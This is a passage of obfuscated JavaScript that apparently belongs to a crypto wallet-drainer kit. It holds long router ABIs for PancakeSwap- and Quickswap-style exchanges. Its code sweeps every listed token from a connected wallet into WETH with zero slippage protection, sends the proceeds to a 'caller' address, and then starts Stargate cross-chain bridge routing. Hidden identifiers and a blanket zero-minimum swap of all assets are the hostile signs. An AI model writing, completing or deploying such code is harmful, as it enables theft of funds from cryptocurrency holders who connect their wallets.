name: "_positionManager",
type: "address"
}, {
internalType: "address",
name: "_stableFactory",
type: "address"
}, {
internalType: "address",
name: "_stableInfo",
type: "address"
}, {
internalType: "address",
name: "_WETH9",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "factory",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "info",
type: "address"
}],
name: "SetStableSwap",
type: "event"
}, {
inputs: [],
name: "WETH9",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveMax",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveZeroThenMax",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}],
name: "approveZeroThenMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "callPositionManager",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes[]",
name: "paths",
type: "bytes[]"
}, {
internalType: "uint128[]",
name: "amounts",
type: "uint128[]"
}, {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
}, {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
}],
name: "checkOracleSlippage",
outputs: [],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
}, {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
}],
name: "checkOracleSlippage",
outputs: [],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "deployer",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}],
internalType: "struct IV3SwapRouter.ExactInputParams",
name: "params",
type: "tuple"
}],
name: "exactInput",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct IV3SwapRouter.ExactInputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactInputSingle",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "uint256[]",
name: "flag",
type: "uint256[]"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "exactInputStableSwap",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "bytes",
name: "path",
type: "bytes"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}],
internalType: "struct IV3SwapRouter.ExactOutputParams",
name: "params",
type: "tuple"
}],
name: "exactOutput",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "tokenIn",
type: "address"
}, {
internalType: "address",
name: "tokenOut",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
}, {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
}],
internalType: "struct IV3SwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
}],
name: "exactOutputSingle",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "uint256[]",
name: "flag",
type: "uint256[]"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "exactOutputStableSwap",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "factoryV2",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "getApprovalType",
outputs: [{
internalType: "enum IApproveAndCall.ApprovalType",
name: "",
type: "uint8"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "token0",
type: "address"
}, {
internalType: "address",
name: "token1",
type: "address"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
}, {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
}],
internalType: "struct IApproveAndCall.IncreaseLiquidityParams",
name: "params",
type: "tuple"
}],
name: "increaseLiquidity",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "token0",
type: "address"
}, {
internalType: "address",
name: "token1",
type: "address"
}, {
internalType: "uint24",
name: "fee",
type: "uint24"
}, {
internalType: "int24",
name: "tickLower",
type: "int24"
}, {
internalType: "int24",
name: "tickUpper",
type: "int24"
}, {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
}, {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
internalType: "struct IApproveAndCall.MintParams",
name: "params",
type: "tuple"
}],
name: "mint",
outputs: [{
internalType: "bytes",
name: "result",
type: "bytes"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "previousBlockhash",
type: "bytes32"
}, {
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "bytes[]",
name: "data",
type: "bytes[]"
}],
name: "multicall",
outputs: [{
internalType: "bytes[]",
name: "results",
type: "bytes[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "owner",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "int256",
name: "amount0Delta",
type: "int256"
}, {
internalType: "int256",
name: "amount1Delta",
type: "int256"
}, {
internalType: "bytes",
name: "_data",
type: "bytes"
}],
name: "pancakeV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "positionManager",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "pull",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermit",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "expiry",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "value",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_info",
type: "address"
}],
name: "setStableSwap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "stableSwapFactory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "stableSwapInfo",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
}, {
internalType: "uint256",
name: "feeBips",
type: "uint256"
}, {
internalType: "address",
name: "feeRecipient",
type: "address"
}],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "value",
type: "uint256"
}],
name: "wrapETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x14596e = new ethers.Contract(_0x2b7b1b, _0x3f633f, _0x9d9505);
let _0x3d0482 = await _0x14596e.WETH9();
let _0x4045be = _0x4f37a4.asset;
let _0xf38c7e = [];
for (let _0x526807 of _0x4045be) {
let _0x5687b4 = [];
_0x5687b4[0] = _0x526807.token;
_0x5687b4[1] = _0x3d0482;
let _0x2b95f3 = _0x14596e.interface.encodeFunctionData("swapExactTokensForTokens", [_0x526807.amount, 0, _0x5687b4, this.caller]);
_0xf38c7e.push(_0x2b95f3);
}
let _0x37a7ba = _0x14596e.interface.encodeFunctionData("multicall(bytes[])", [_0xf38c7e]);
let _0x297c7e = {
to: _0x2b7b1b,
from: await this.getWalletAddress(),
data: _0x37a7ba
};
return [_0x9d9505.sendTransaction(_0x297c7e), _0x3d0482];
}
case "Quickswap":
{
let _0x5d5a06 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
}],
name: "getAmountOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsIn",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapETHForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactETH",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x201075 = new ethers.Contract(_0x2b7b1b, _0x5d5a06, _0x9d9505);
let _0x3c3d4d = await _0x201075.WETH();
let _0x521d95 = [];
_0x521d95[0] = _0x4f37a4.asset.token;
_0x521d95[1] = _0x3c3d4d;
return [_0x201075.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x521d95, this.caller, _0x1b1427), _0x3c3d4d];
}
case "Stargate":
{
let _0x5522e1 = _0x4f37a4.chain;
let _0x265843 = 101;
let _0x21c78b = 110;
let _0x389343 = 1;
let _0x212eb6 = 1;
console.log("checking path for stargate");
switch (_0x5522e1) {
case "eth":
{
_0x265843 = 101;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48":
{
_0x389343 = 1;
_0x212eb6 = 1;
}
break;
case "0xdac17f958d2ee523a2206206994597c13d831ec7":
{
_0x389343 = 2;
_0x212eb6 = 1;
}
break;
case "0x6b175474e89094c44da98b954eedeac495271d0f":
{
_0x389343 = 3;
_0x212eb6 = 3;
_0x21c78b = 109;
}
break;
case "0x853d955acef822db058eb8505911ed77f175b99e":
{
_0x389343 = 7;
_0x212eb6 = 7;
}
break;
case "0x57ab1ec28d129707052df4df418d58a2d46d5f51":
{
_0x389343 = 14;
_0x212eb6 = 14;
_0x21c78b = 111;
}
break;
case "0x0c10bf8fcb7bf5412187a595ab97a3609160b5c6":
{
_0x389343 = 11;
_0x212eb6 = 11;
_0x21c78b = 102;
}
break;
case "0x5f98805a4e8be255a32880fdec7f6728c6568ba0":
{
_0x389343 = 15;
_0x212eb6 = 15;
}
break;
case "0x8d6cebd76f18e1558d4db88138e2defb3909fad6":
{
_0x389343 = 16;
_0x212eb6 = 16;
}
break;
}
}
case "bsc":
{
_0x265843 = 102;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0x55d398326f99059ff775485246999027b3197955":
{
_0x389343 = 2;
_0x212eb6 = 1;
}
break;
case "0xe9e7cea3dedca5984780bafc599bd69add087d56":
{
_0x389343 = 5;
_0x212eb6 = 1;
}
break;
case "0xd17479997f34dd9156deef8f95a52d81d265be9c":
{
_0x389343 = 11;
_0x212eb6 = 11;
_0x21c78b = 101;
}
break;
case "0x3f56e0c36d275367b8c502090edf38289b3dea0d":
{
_0x389343 = 16;
_0x212eb6 = 16;
}
break;
}
}
case "avax":
{
_0x265843 = 106;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e":
{
_0x389343 = 1;
_0x212eb6 = 1;
}
break;
case "0x9702230a8ea53601f5cd2dc00fdbc13d4df4a8c7":
{
_0x389343 = 2;
_0x212eb6 = 1;
}
break;
case "0xd24c2ad096400b6fbcd2ad8b24e7acbc21a1da64":
{
_0x389343 = 7;
_0x212eb6 = 7;
}
break;
case "0x5c49b268c9841aff1cc3b0a418ff5c3442ee3f3b":
{
_0x389343 = 16;
_0x212eb6 = 16;
}
break;
}
}
case "matic":
{
_0x265843 = 109;
switch (_0x4f37a4.asset.token.toLowerCase()) {
case "0x2791bca1f2de4661ed88a30c99a7a9449aa84174":
{
_0x389343 = 1;
_0x212eb6 = 1;
}
break;
